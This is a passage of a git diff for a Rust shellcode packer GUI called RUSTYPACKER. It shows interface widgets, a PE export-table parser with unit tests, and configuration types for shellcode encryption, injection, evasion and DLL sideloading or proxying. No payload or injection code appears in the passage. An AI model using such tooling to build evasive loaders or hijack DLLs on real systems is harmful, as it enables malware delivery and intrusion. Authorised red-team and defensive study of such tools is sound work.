Theme, +) -> bool { + let mut theme_changed = false; + Frame::none() + .fill(palette::bg_chrome()) + .inner_margin(Margin { + left: space::LG, right: space::LG, + top: space::SM + 2.0, bottom: space::SM + 2.0, + }) + .show(ui, |ui| { + ui.horizontal(|ui| { + theme_changed = theme_picker(ui, theme); + ui.add_space(space::SM); + + ui.label( + RichText::new("RUSTYPACKER") + .font(crate::gui::theme::font_mono_bold(12.0)) + .color(palette::accent()), + ); + ui.add_space(space::SM); + ui.label( + RichText::new(format!("v{version}")) + .font(crate::gui::theme::font_mono(11.0)) + .color(palette::text_muted()), + ); + ui.with_layout(Layout::right_to_left(Align::Center), |ui| { + let color = status_color(status); + let text = status_text(status); + + ui.label( + RichText::new(text) + .font(crate::gui::theme::font_sans(11.0)) + .color(palette::text_muted()), + ); + ui.add_space(space::XS + 2.0); + draw_pip(ui, color); + }); + }); + }); + let r = ui.max_rect(); + ui.painter().hline( + r.x_range(), + r.bottom(), + Stroke::new(1.0, palette::border_strong()), + ); + theme_changed +} + +// ---------------------------------------------------------------- theme picker + +fn theme_picker(ui: &mut Ui, theme: &mut Theme) -> bool { + let font = crate::gui::theme::font_mono(10.5); + let label = format!("◆ {}", theme.label().to_uppercase()); + let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0); + + let galley = ui.painter().layout_no_wrap(label.clone(), font.clone(), palette::accent()); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::click()); + + let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent_dim() }; + let fg = if resp.hovered() { palette::accent_hi() } else { palette::accent() }; + let fill = if resp.hovered() { + palette::accent_alpha(0x14) + } else { + palette::accent_alpha(0x08) + }; + + ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color)); + ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, font, fg); + + let popup_id = ui.make_persistent_id("theme_picker_popup"); + if resp.clicked() { + ui.memory_mut(|m| m.toggle_popup(popup_id)); + } + + let mut changed = false; + egui::popup::popup_below_widget(ui, popup_id, &resp, |ui| { + ui.set_min_width(140.0); + Frame::none() + .fill(palette::bg_panel()) + .stroke(Stroke::new(1.0, palette::border_strong())) + .rounding(radius::CARD) + .inner_margin(Margin::same(4.0)) + .show(ui, |ui| { + for t in Theme::ALL { + let active = *t == *theme; + let item_label = t.label(); + let item_resp = ui.add( + egui::SelectableLabel::new( + active, + RichText::new(format!(" {item_label}")) + .font(crate::gui::theme::font_sans(12.0)) + .color(if active { palette::accent() } else { palette::text() }), + ), + ); + if item_resp.clicked() && *theme != *t { + *theme = *t; + changed = true; + ui.memory_mut(|m| m.close_popup()); + } + } + }); + }); + changed +} + +fn draw_pip(ui: &mut Ui, color: Color32) { + let size = Vec2::splat(8.0); + let (rect, _) = ui.allocate_exact_size(size, Sense::hover()); + let p = ui.painter(); + // Glow + p.circle_filled(rect.center(), 5.0, Color32::from_rgba_premultiplied(color.r(), color.g(), color.b(), 64)); + // Solid pip + p.circle_filled(rect.center(), 3.5, color); +} + +// ---------------------------------------------------------------- tab strip + +pub fn tab_strip( + ui: &mut Ui, + current: &mut T, + items: &[(T, &str)], +) { + Frame::none() + .fill(palette::bg_chrome()) + .inner_margin(Margin { + left: space::LG, right: space::LG, top: 0.0, bottom: 0.0, + }) + .show(ui, |ui| { + ui.horizontal(|ui| { + ui.spacing_mut().item_spacing.x = 0.0; + for (value, label) in items.iter() { + let active = current == value; + if tab_button(ui, label, active).clicked() { + *current = value.clone(); + } + } + }); + }); + let r = ui.max_rect(); + ui.painter().hline( + r.x_range(), + r.bottom(), + Stroke::new(1.0, palette::border_strong()), + ); +} + +fn tab_button(ui: &mut Ui, label: &str, active: bool) -> Response { + let pad = Vec2::new(space::LG, space::SM + 1.0); + let text_color = if active { palette::accent() } else { palette::text_muted() }; + let upper = label.to_uppercase(); + let font = crate::gui::theme::font_sans(11.0); + + let galley = ui.painter().layout_no_wrap(upper.clone(), font.clone(), text_color); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::click()); + + if active { + ui.painter().rect_filled( + rect, + Rounding::ZERO, + palette::accent_alpha(0x0a), + ); + } else if resp.hovered() { + ui.painter().rect_filled( + rect, + Rounding::ZERO, + Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x05), + ); + } + + if active { + let underline_y = rect.bottom() - 1.0; + ui.painter().line_segment( + [egui::pos2(rect.left(), underline_y), egui::pos2(rect.right(), underline_y)], + Stroke::new(2.0, palette::accent()), + ); + } + + let hover_color = if resp.hovered() && !active { palette::text_label() } else { text_color }; + ui.painter().text(rect.center(), Align2::CENTER_CENTER, upper, font, hover_color); + + resp +} + +// ---------------------------------------------------------------- section header + +pub fn section_header(ui: &mut Ui, label: &str, count_suffix: Option<&str>) { + ui.horizontal(|ui| { + let (rect, _) = + ui.allocate_exact_size(Vec2::new(3.0, 14.0), Sense::hover()); + ui.painter().rect_filled(rect, Rounding::same(1.0), palette::accent()); + + ui.add_space(space::XS + 2.0); + ui.label( + RichText::new(label.to_uppercase()) + .font(crate::gui::theme::font_sans(10.0)) + .color(palette::text()) + .strong(), + ); + + if let Some(s) = count_suffix { + ui.with_layout(Layout::right_to_left(Align::Center), |ui| { + ui.label( + RichText::new(s.to_uppercase()) + .font(crate::gui::theme::font_sans(10.0)) + .color(palette::text_muted()), + ); + }); + } + }); + ui.add_space(space::XS + 2.0); +} + +// ---------------------------------------------------------------- card + +pub fn card(ui: &mut Ui, body: impl FnOnce(&mut Ui) -> R) -> R { + Frame::none() + .fill(palette::bg_panel()) + .stroke(Stroke::new(1.0, palette::border())) + .rounding(radius::CARD) + .inner_margin(Margin::symmetric(space::MD + 2.0, space::MD)) + .show(ui, body) + .inner +} + +// ---------------------------------------------------------------- field row + +pub fn field_row(ui: &mut Ui, label: &str, body: impl FnOnce(&mut Ui)) { + ui.horizontal(|ui| { + ui.add_sized( + Vec2::new(82.0, 22.0), + egui::Label::new( + RichText::new(label) + .font(crate::gui::theme::font_sans(11.0)) + .color(palette::text_label()), + ), + ); + body(ui); + }); +} + +// ---------------------------------------------------------------- pill + +#[derive(Clone, Copy, Debug)] +pub enum PillKind { Accent, Muted, Warn, Danger } + +pub fn pill(ui: &mut Ui, text: &str, kind: PillKind) -> Response { + let (fg, bg, border) = match kind { + PillKind::Accent => ( + palette::accent(), + palette::accent_alpha(0x22), + palette::accent_alpha(0x66), + ), + PillKind::Muted => ( + palette::text_label(), + palette::bg_panel_hi(), + palette::border_strong(), + ), + PillKind::Warn => ( + palette::warn(), + palette::warn_alpha(0x22), + palette::warn_alpha(0x66), + ), + PillKind::Danger => ( + palette::danger_hi(), + palette::danger_alpha(0x22), + palette::danger_alpha(0x66), + ), + }; + + let font = crate::gui::theme::font_sans(9.0); + let text_up = text.to_uppercase(); + let galley = ui.painter().layout_no_wrap(text_up.clone(), font.clone(), fg); + let pad = Vec2::new(8.0, 3.0); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::hover()); + + ui.painter().rect(rect, Rounding::same(10.0), bg, Stroke::new(1.0, border)); + ui.painter().text( + rect.center(), + Align2::CENTER_CENTER, + text_up, + font, + fg, + ); + resp +} + +// ---------------------------------------------------------------- segmented control + +pub fn segmented( + ui: &mut Ui, + current: &mut T, + items: &[(T, &str)], +) { + Frame::none() + .fill(palette::bg_input()) + .stroke(Stroke::new(1.0, palette::border())) + .rounding(radius::INPUT) + .inner_margin(Margin::same(2.0)) + .show(ui, |ui| { + ui.spacing_mut().item_spacing.x = 0.0; + ui.horizontal(|ui| { + for (value, label) in items.iter() { + let active = current == value; + if segment_button(ui, label, active).clicked() { + *current = value.clone(); + } + } + }); + }); +} + +fn segment_button(ui: &mut Ui, label: &str, active: bool) -> Response { + let font = crate::gui::theme::font_sans(11.0); + let fg = if active { palette::bg_base() } else { palette::text_label() }; + let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), fg); + let pad = Vec2::new(space::MD, space::XS); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::click()); + + if active { + ui.painter().rect_filled(rect, Rounding::same(2.0), palette::accent()); + } else if resp.hovered() { + ui.painter().rect_filled( + rect, + Rounding::same(2.0), + Color32::from_rgba_premultiplied(0xff, 0xff, 0xff, 0x08), + ); + } + let final_fg = if active { palette::bg_base() } else if resp.hovered() { palette::text() } else { palette::text_label() }; + let weight_font = if active { crate::gui::theme::font_mono_bold(11.0) } else { font }; + ui.painter().text(rect.center(), Align2::CENTER_CENTER, label, weight_font, final_fg); + resp +} + +// ---------------------------------------------------------------- step card (FlowCase) + +#[derive(Clone, Copy, Debug)] +pub enum StepAccent { Normal, Warn, Danger } + +pub struct StepView<'a> { + pub idx: u32, + pub title: &'a str, + pub pill_text: &'a str, + pub accent: StepAccent, +} + +pub fn step_card(ui: &mut Ui, step: &StepView<'_>) { + let bar_color = match step.accent { + StepAccent::Normal => palette::accent(), + StepAccent::Warn => palette::warn(), + StepAccent::Danger => palette::danger(), + }; + let pill_kind = match step.accent { + StepAccent::Normal => PillKind::Accent, + StepAccent::Warn => PillKind::Warn, + StepAccent::Danger => PillKind::Danger, + }; + + Frame::none() + .fill(palette::bg_panel()) + .stroke(Stroke::new(1.0, palette::border())) + .rounding(radius::CARD) + .inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 2.0)) + .show(ui, |ui| { + ui.horizontal(|ui| { + // Left accent bar + let bar_h = 18.0; + let (bar_rect, _) = ui.allocate_exact_size(Vec2::new(3.0, bar_h), Sense::hover()); + ui.painter() + .rect_filled(bar_rect, Rounding::same(1.0), bar_color); + ui.add_space(space::SM); + + // Step number + ui.label( + RichText::new(format!("{:02}", step.idx)) + .font(crate::gui::theme::font_mono_bold(11.0)) + .color(palette::text_muted()), + ); + ui.add_space(space::SM); + + // Title + ui.label( + RichText::new(step.title) + .font(crate::gui::theme::font_sans(13.0)) + .color(palette::text()) + .strong(), + ); + + // Right pill + ui.with_layout(Layout::right_to_left(Align::Center), |ui| { + pill(ui, step.pill_text, pill_kind); + }); + }); + }); +} + +pub fn step_connector(ui: &mut Ui) { + let avail = ui.available_width(); + let x = ui.cursor().left() + 18.0 + 3.0; // align under the accent bar + let (rect, _) = ui.allocate_exact_size(Vec2::new(avail, 6.0), Sense::hover()); + ui.painter().line_segment( + [egui::pos2(rect.left() + 18.0 + 1.5, rect.top()), egui::pos2(rect.left() + 18.0 + 1.5, rect.bottom())], + Stroke::new(1.0, palette::border_strong()), + ); + let _ = x; +} + +// ---------------------------------------------------------------- buttons + +pub fn primary_button(ui: &mut Ui, label: &str) -> Response { + let font = crate::gui::theme::font_sans(11.0); + let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::bg_base()); + let pad = Vec2::new(space::MD, space::XS + 2.0); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::click()); + + let (fill, fg) = if resp.hovered() { + (palette::accent_hi(), palette::bg_base()) + } else { + (palette::accent(), palette::bg_base()) + }; + + ui.painter().rect_filled(rect, radius::INPUT, fill); + ui.painter().text( + rect.center(), + Align2::CENTER_CENTER, + label, + crate::gui::theme::font_mono_bold(11.0), + fg, + ); + resp +} + +pub fn primary_button_disabled(ui: &mut Ui, label: &str) -> Response { + let font = crate::gui::theme::font_sans(11.0); + let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::text_muted()); + let pad = Vec2::new(space::MD, space::XS + 2.0); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::hover()); + + ui.painter().rect( + rect, + radius::INPUT, + palette::bg_panel(), + Stroke::new(1.0, palette::border()), + ); + ui.painter().text( + rect.center(), + Align2::CENTER_CENTER, + label, + crate::gui::theme::font_mono_bold(11.0), + palette::text_muted(), + ); + resp +} + +pub fn ghost_button(ui: &mut Ui, label: &str) -> Response { + let font = crate::gui::theme::font_sans(11.0); + let galley = ui.painter().layout_no_wrap(label.to_string(), font.clone(), palette::accent()); + let pad = Vec2::new(space::SM + 2.0, space::XS + 1.0); + let size = galley.size() + Vec2::new(pad.x * 2.0, pad.y * 2.0); + let (rect, resp) = ui.allocate_exact_size(size, Sense::click()); + + let stroke_color = if resp.hovered() { palette::accent_hi() } else { palette::accent() }; + let fg = stroke_color; + let fill = if resp.hovered() { + palette::accent_alpha(0x14) + } else { + Color32::TRANSPARENT + }; + + ui.painter().rect(rect, radius::INPUT, fill, Stroke::new(1.0, stroke_color)); + ui.painter().text( + rect.center(), + Align2::CENTER_CENTER, + label, + font, + fg, + ); + resp +} + +// ---------------------------------------------------------------- terminal view + +pub struct TerminalOpts { + pub max_rows: usize, + pub min_rows: usize, +} + +impl Default for TerminalOpts { + fn default() -> Self { Self { max_rows: 18, min_rows: 14 } } +} + +pub fn terminal_view(ui: &mut Ui, log: &str, opts: TerminalOpts) { + Frame::none() + .fill(Color32::from_rgb(0x0a, 0x09, 0x07)) + .stroke(Stroke::new(1.0, palette::border())) + .rounding(radius::CARD) + .inner_margin(Margin::symmetric(space::MD + 2.0, space::SM + 4.0)) + .show(ui, |ui| { + let row_h = ui.text_style_height(&TextStyle::Monospace); + let min_h = row_h * opts.min_rows as f32; + let max_h = row_h * opts.max_rows as f32; + + egui::ScrollArea::vertical() + .stick_to_bottom(true) + .min_scrolled_height(min_h) + .max_height(max_h) + .auto_shrink([false, false]) + .show(ui, |ui| { + ui.set_min_width(ui.available_width()); + for line in log.lines() { + draw_log_line(ui, line); + } + // Trailing newline → empty terminal line + if log.is_empty() { + ui.label( + RichText::new("waiting for build…") + .font(crate::gui::theme::font_mono(12.0)) + .color(palette::text_muted()), + ); + } + }); + }); +} + +fn draw_log_line(ui: &mut Ui, line: &str) { + let (prefix_color, prefix, rest) = classify_line(line); + ui.horizontal(|ui| { + ui.spacing_mut().item_spacing.x = 4.0; + if !prefix.is_empty() { + ui.label( + RichText::new(prefix) + .font(crate::gui::theme::font_mono_bold(12.0)) + .color(prefix_color), + ); + ui.label( + RichText::new(rest) + .font(crate::gui::theme::font_mono(12.0)) + .color(palette::text()), + ); + } else { + ui.label( + RichText::new(line) + .font(crate::gui::theme::font_mono(12.0)) + .color(palette::text_dim()), + ); + } + }); +} + +fn classify_line(line: &str) -> (Color32, &str, &str) { + if let Some(rest) = line.strip_prefix("[*]") { + (palette::accent(), "[*]", rest) + } else if let Some(rest) = line.strip_prefix("[+]") { + (palette::ok(), "[+]", rest) + } else if let Some(rest) = line.strip_prefix("[!]") { + (palette::warn(), "[!]", rest) + } else if let Some(rest) = line.strip_prefix("[-]") { + (palette::danger_hi(), "[-]", rest) + } else { + (palette::text_dim(), "", line) + } +} + +// ---------------------------------------------------------------- phase progress + +pub fn phase_progress(ui: &mut Ui, current: u32, total: u32, label: &str) { + Frame::none() + .fill(palette::bg_panel()) + .stroke(Stroke::new(1.0, palette::border())) + .rounding(radius::INPUT) + .inner_margin(Margin::symmetric(space::MD, space::SM)) + .show(ui, |ui| { + ui.horizontal(|ui| { + ui.label( + RichText::new(format!("PHASE {current}/{total}")) + .font(crate::gui::theme::font_mono_bold(11.0)) + .color(palette::accent()), + ); + ui.add_space(space::SM); + + let avail = ui.available_width() - 160.0; + let (rect, _) = + ui.allocate_exact_size(Vec2::new(avail.max(40.0), 4.0), Sense::hover()); + ui.painter() + .rect_filled(rect, Rounding::same(2.0), palette::bg_input()); + + let frac = (current as f32 / total.max(1) as f32).clamp(0.0, 1.0); + let fill_w = rect.width() * frac; + if fill_w > 0.0 { + let fill_rect = Rect::from_min_size(rect.min, Vec2::new(fill_w, rect.height())); + ui.painter() + .rect_filled(fill_rect, Rounding::same(2.0), palette::accent()); + } + + ui.with_layout(Layout::right_to_left(Align::Center), |ui| { + ui.label( + RichText::new(label) + .font(crate::gui::theme::font_sans(11.0)) + .color(palette::text_dim()), + ); + }); + }); + }); +} + +// ---------------------------------------------------------------- text input + +pub fn input_singleline(ui: &mut Ui, buf: &mut String, hint: &str, width: f32) -> Response { + let resp = ui.add( + egui::TextEdit::singleline(buf) + .desired_width(width) + .hint_text(hint) + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text()) + .margin(Vec2::new(space::SM, space::XS + 1.0)), + ); + resp +} + +pub fn input_readonly(ui: &mut Ui, value: &str, width: f32) { + let mut s = value.to_string(); + ui.add( + egui::TextEdit::singleline(&mut s) + .desired_width(width) + .interactive(false) + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text_dim()) + .margin(Vec2::new(space::SM, space::XS + 1.0)), + ); +} + +// ---------------------------------------------------------------- description + +pub fn description(ui: &mut Ui, text: &str) { + ui.label( + RichText::new(text) + .font(crate::gui::theme::font_sans(11.0)) + .color(palette::text_dim()), + ); +} + +pub fn meta_line(ui: &mut Ui, text: &str) { + ui.label( + RichText::new(text) + .font(crate::gui::theme::font_mono(10.5)) + .color(palette::text_muted()), + ); +} + +// ---------------------------------------------------------------- scanlines + +/// Paints a faint horizontal scanline pattern across `area` on a foreground +/// layer. Used by the Cyberpunk theme over the central panel. +pub fn paint_scanlines(ctx: &egui::Context, area: Rect) { + let painter = ctx.layer_painter(LayerId::new(Order::Foreground, Id::new("rp_scanlines"))); + let accent = palette::accent(); + let line_color = Color32::from_rgba_premultiplied( + ((accent.r() as u16 * 0x0c) / 255) as u8, + ((accent.g() as u16 * 0x0c) / 255) as u8, + ((accent.b() as u16 * 0x0c) / 255) as u8, + 0x0c, + ); + let mut y = area.top(); + while y < area.bottom() { + painter.line_segment( + [egui::pos2(area.left(), y), egui::pos2(area.right(), y)], + Stroke::new(1.0, line_color), + ); + y += 3.0; + } +} + +// ---------------------------------------------------------------- warn banner + +pub fn warn_banner(ui: &mut Ui, text: &str) { + Frame::none() + .fill(palette::danger_alpha(0x14)) + .stroke(Stroke::new(1.0, palette::danger_alpha(0x55))) + .rounding(radius::INPUT) + .inner_margin(Margin::symmetric(space::SM + 2.0, space::SM)) + .show(ui, |ui| { + ui.horizontal(|ui| { + ui.label( + RichText::new("⚠") + .font(crate::gui::theme::font_sans(12.0)) + .color(palette::danger_hi()), + ); + ui.add_space(4.0); + ui.label( + RichText::new(text) + .font(crate::gui::theme::font_sans(11.0)) + .color(palette::danger_hi()), + ); + }); + }); +} diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..a1e31bc --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,10 @@ +pub mod build_log; +pub mod compiler; +pub mod gui; +pub mod order; +pub mod pe_parser; +pub mod puzzle; +pub mod shellcode_reader; +pub mod sideload; +pub mod techniques; +pub mod tools; diff --git a/src/order.rs b/src/order.rs new file mode 100644 index 0000000..9640638 --- /dev/null +++ b/src/order.rs @@ -0,0 +1,40 @@ +use std::collections::HashMap; +use std::path::PathBuf; + +#[derive(Debug, Clone, PartialEq)] +pub enum OutputFormat { Exe, Dll, DllSideload } + +impl OutputFormat { + pub fn extension(&self) -> &'static str { + match self { + Self::Exe => "exe", + Self::Dll | Self::DllSideload => "dll", + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum SideloadMode { Sideload, Proxy } + +#[derive(Debug, Clone)] +pub struct SideloadConfig { + pub target_dll: PathBuf, + pub hijack_export: String, + pub mode: SideloadMode, + /// For Proxy mode (relative path): the renamed DLL the proxy forwards to (e.g. "Shaping.dll"). + pub renamed: String, + /// For Proxy mode (absolute path): use target_dll's full path directly in DLL_NAME. + pub use_absolute_path: bool, +} + +#[derive(Debug, Clone)] +pub struct Order { + pub shellcode_path: PathBuf, + pub format: OutputFormat, + pub encryption_id: String, + pub injection_id: String, + pub evasions: Vec, + pub params: HashMap, // key = "." + pub output: Option, + pub sideload: Option, +} diff --git a/src/pe_parser.rs b/src/pe_parser.rs new file mode 100644 index 0000000..1865f8d --- /dev/null +++ b/src/pe_parser.rs @@ -0,0 +1,322 @@ +use std::fs; +use std::path::Path; + +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct DllExport { + pub name: Option, + pub ordinal: u16, +} + +fn read_u16(data: &[u8], offset: usize) -> u16 { + u16::from_le_bytes([data[offset], data[offset + 1]]) +} + +fn read_u32(data: &[u8], offset: usize) -> u32 { + u32::from_le_bytes([data[offset], data[offset + 1], data[offset + 2], data[offset + 3]]) +} + +fn rva_to_offset(sections: &[(u32, u32, u32)], rva: u32) -> Option { + for &(vaddr, vsize, raw_offset) in sections { + if rva >= vaddr && rva < vaddr + vsize { + return Some((rva - vaddr + raw_offset) as usize); + } + } + None +} + +fn read_cstring(data: &[u8], offset: usize) -> Option { + let end = data[offset..].iter().position(|&b| b == 0)?; + String::from_utf8(data[offset..offset + end].to_vec()).ok() +} + +fn parse_sections(data: &[u8], pe_offset: usize, num_sections: u16) -> Vec<(u32, u32, u32)> { + let opt_header_size = read_u16(data, pe_offset + 20) as usize; + let section_start = pe_offset + 24 + opt_header_size; + + (0..num_sections as usize) + .map(|i| { + let base = section_start + i * 40; + let vaddr = read_u32(data, base + 12); + let vsize = read_u32(data, base + 8); + let raw_offset = read_u32(data, base + 20); + (vaddr, vsize, raw_offset) + }) + .collect() +} + +pub fn parse_exports(dll_path: &Path) -> Result, String> { + let data = fs::read(dll_path).map_err(|e| format!("Failed to read DLL: {}", e))?; + + if data.len() < 64 || read_u16(&data, 0) != 0x5A4D { + return Err("Not a valid PE file (bad MZ signature)".into()); + } + + let pe_offset = read_u32(&data, 0x3C) as usize; + if data.len() < pe_offset + 4 || read_u32(&data, pe_offset) != 0x00004550 { + return Err("Not a valid PE file (bad PE signature)".into()); + } + + let magic = read_u16(&data, pe_offset + 24); + let export_dir_rva_offset = match magic { + 0x10b => pe_offset + 24 + 96, // PE32 + 0x20b => pe_offset + 24 + 112, // PE32+ + _ => return Err(format!("Unknown PE optional header magic: 0x{:04x}", magic)), + }; + + let num_sections = read_u16(&data, pe_offset + 6); + let sections = parse_sections(&data, pe_offset, num_sections); + + let export_rva = read_u32(&data, export_dir_rva_offset); + let export_size = read_u32(&data, export_dir_rva_offset + 4); + + if export_rva == 0 || export_size == 0 { + return Ok(vec![]); + } + + let export_offset = + rva_to_offset(§ions, export_rva).ok_or("Cannot resolve export directory RVA")?; + + let num_functions = read_u32(&data, export_offset + 20) as usize; + let num_names = read_u32(&data, export_offset + 24) as usize; + let ordinal_base = read_u32(&data, export_offset + 16) as u16; + + let addr_table_rva = read_u32(&data, export_offset + 28); + let name_ptr_rva = read_u32(&data, export_offset + 32); + let ordinal_table_rva = read_u32(&data, export_offset + 36); + + let addr_table_off = + rva_to_offset(§ions, addr_table_rva).ok_or("Cannot resolve address table RVA")?; + let name_ptr_off = + rva_to_offset(§ions, name_ptr_rva).ok_or("Cannot resolve name pointer RVA")?; + let ordinal_off = + rva_to_offset(§ions, ordinal_table_rva).ok_or("Cannot resolve ordinal table RVA")?; + + let mut name_for_index: Vec> = vec![None; num_functions]; + for i in 0..num_names { + let name_rva = read_u32(&data, name_ptr_off + i * 4); + let ord_index = read_u16(&data, ordinal_off + i * 2) as usize; + if let Some(off) = rva_to_offset(§ions, name_rva) { + if let Some(name) = read_cstring(&data, off) { + if ord_index < num_functions { + name_for_index[ord_index] = Some(name); + } + } + } + } + + let export_end_rva = export_rva + export_size; + let mut exports = Vec::new(); + + for i in 0..num_functions { + let func_rva = read_u32(&data, addr_table_off + i * 4); + if func_rva == 0 { + continue; + } + + let is_forwarder = func_rva >= export_rva && func_rva < export_end_rva; + if is_forwarder { + continue; + } + + exports.push(DllExport { + name: name_for_index[i].clone(), + ordinal: ordinal_base + i as u16, + }); + } + + Ok(exports) +} + +pub fn dll_stem(dll_path: &Path) -> String { + let s = dll_path + .to_str() + .unwrap_or("original"); + let filename = s.rsplit(|c| c == '/' || c == '\\').next().unwrap_or(s); + filename + .strip_suffix(".dll") + .or_else(|| filename.strip_suffix(".DLL")) + .unwrap_or(filename) + .to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + fn build_minimal_pe_dll(exports: &[&str]) -> Vec { + let mut buf = vec![0u8; 8192]; + + buf[0] = 0x4D; // M + buf[1] = 0x5A; // Z + + let pe_offset: u32 = 0x80; + buf[0x3C] = pe_offset as u8; + + let pe = pe_offset as usize; + buf[pe] = 0x50; // P + buf[pe + 1] = 0x45; // E + buf[pe + 2] = 0x00; + buf[pe + 3] = 0x00; + + // COFF header + buf[pe + 4] = 0x64; buf[pe + 5] = 0x86; // Machine: x86_64 + buf[pe + 6] = 0x01; buf[pe + 7] = 0x00; // 1 section + let opt_header_size: u16 = 112 + 16 * 16; + buf[pe + 20] = (opt_header_size & 0xFF) as u8; + buf[pe + 21] = (opt_header_size >> 8) as u8; + buf[pe + 22] = 0x22; buf[pe + 23] = 0x20; // DLL characteristics + + // Optional header + let opt = pe + 24; + buf[opt] = 0x0B; buf[opt + 1] = 0x02; // PE32+ magic + + let section_rva: u32 = 0x1000; + let section_raw: u32 = 0x400; // after all headers + let section_size: u32 = 0x1000; + + // Export directory RVA at opt + 112 + let export_dir_offset = opt + 112; + + // Section header + let sec = pe + 24 + opt_header_size as usize; + buf[sec..sec + 8].copy_from_slice(b".edata\0\0"); + buf[sec + 8..sec + 12].copy_from_slice(§ion_size.to_le_bytes()); + buf[sec + 12..sec + 16].copy_from_slice(§ion_rva.to_le_bytes()); + buf[sec + 16..sec + 20].copy_from_slice(§ion_size.to_le_bytes()); + buf[sec + 20..sec + 24].copy_from_slice(§ion_raw.to_le_bytes()); + + // Build export data at file offset section_raw, RVA section_rva + let num_exports = exports.len(); + let export_data_start = section_raw as usize; + let edt = export_data_start; // Export Directory Table + + // Export dir is 40 bytes + // Then: AddressOfFunctions array, AddressOfNames array, AddressOfNameOrdinals array, then name strings + + let addr_table_off = 40usize; + let name_ptr_off = addr_table_off + num_exports * 4; + let ordinal_table_off = name_ptr_off + num_exports * 4; + let strings_off = ordinal_table_off + num_exports * 2; + + // Write export directory + let ordinal_base: u32 = 1; + // NumberOfFunctions + buf[edt + 20..edt + 24].copy_from_slice(&(num_exports as u32).to_le_bytes()); + // NumberOfNames + buf[edt + 24..edt + 28].copy_from_slice(&(num_exports as u32).to_le_bytes()); + // OrdinalBase + buf[edt + 16..edt + 20].copy_from_slice(&ordinal_base.to_le_bytes()); + // AddressOfFunctions RVA + let addr_table_rva = section_rva + addr_table_off as u32; + buf[edt + 28..edt + 32].copy_from_slice(&addr_table_rva.to_le_bytes()); + // AddressOfNames RVA + let name_ptr_rva = section_rva + name_ptr_off as u32; + buf[edt + 32..edt + 36].copy_from_slice(&name_ptr_rva.to_le_bytes()); + // AddressOfNameOrdinals RVA + let ordinal_rva = section_rva + ordinal_table_off as u32; + buf[edt + 36..edt + 40].copy_from_slice(&ordinal_rva.to_le_bytes()); + + let mut string_cursor = strings_off; + for (i, name) in exports.iter().enumerate() { + // Address table: dummy non-zero RVA (points somewhere in section, not in export dir range) + let func_rva: u32 = section_rva + 0xD00 + i as u32; + buf[edt + addr_table_off + i * 4..edt + addr_table_off + i * 4 + 4] + .copy_from_slice(&func_rva.to_le_bytes()); + + // Name pointer table: RVA of string + let name_string_rva = section_rva + string_cursor as u32; + buf[edt + name_ptr_off + i * 4..edt + name_ptr_off + i * 4 + 4] + .copy_from_slice(&name_string_rva.to_le_bytes()); + + // Ordinal table + buf[edt + ordinal_table_off + i * 2] = i as u8; + buf[edt + ordinal_table_off + i * 2 + 1] = 0; + + // Write name string + buf[edt + string_cursor..edt + string_cursor + name.len()] + .copy_from_slice(name.as_bytes()); + buf[edt + string_cursor + name.len()] = 0; + string_cursor += name.len() + 1; + } + + // Export directory RVA and size + let export_total_size = string_cursor as u32; + buf[export_dir_offset..export_dir_offset + 4] + .copy_from_slice(§ion_rva.to_le_bytes()); + buf[export_dir_offset + 4..export_dir_offset + 8] + .copy_from_slice(&export_total_size.to_le_bytes()); + + buf + } + + fn write_temp_dll(name: &str, data: &[u8]) -> std::path::PathBuf { + let dir = std::env::temp_dir().join("rustpacker_test_pe_parser"); + fs::create_dir_all(&dir).unwrap(); + let path = dir.join(name); + let mut f = fs::File::create(&path).unwrap(); + f.write_all(data).unwrap(); + path + } + + #[test] + fn test_parse_named_exports() { + let pe = build_minimal_pe_dll(&["GetFileVersionInfoA", "GetFileVersionInfoW", "VerQueryValueW"]); + let path = write_temp_dll("named_exports.dll", &pe); + let exports = parse_exports(&path).unwrap(); + + assert_eq!(exports.len(), 3); + assert_eq!(exports[0].name.as_deref(), Some("GetFileVersionInfoA")); + assert_eq!(exports[1].name.as_deref(), Some("GetFileVersionInfoW")); + assert_eq!(exports[2].name.as_deref(), Some("VerQueryValueW")); + assert_eq!(exports[0].ordinal, 1); + assert_eq!(exports[1].ordinal, 2); + assert_eq!(exports[2].ordinal, 3); + + fs::remove_file(&path).ok(); + } + + #[test] + fn test_parse_no_exports() { + let mut pe = build_minimal_pe_dll(&[]); + // Zero out the export directory RVA + let pe_offset = read_u32(&pe, 0x3C) as usize; + let export_dir_off = pe_offset + 24 + 112; + pe[export_dir_off..export_dir_off + 8].copy_from_slice(&[0; 8]); + + let path = write_temp_dll("no_exports.dll", &pe); + let exports = parse_exports(&path).unwrap(); + assert!(exports.is_empty()); + + fs::remove_file(&path).ok(); + } + + #[test] + fn test_parse_invalid_file() { + let path = write_temp_dll("not_a_dll.bin", b"this is not a PE file"); + let result = parse_exports(&path); + assert!(result.is_err()); + fs::remove_file(&path).ok(); + } + + #[test] + fn test_dll_stem() { + 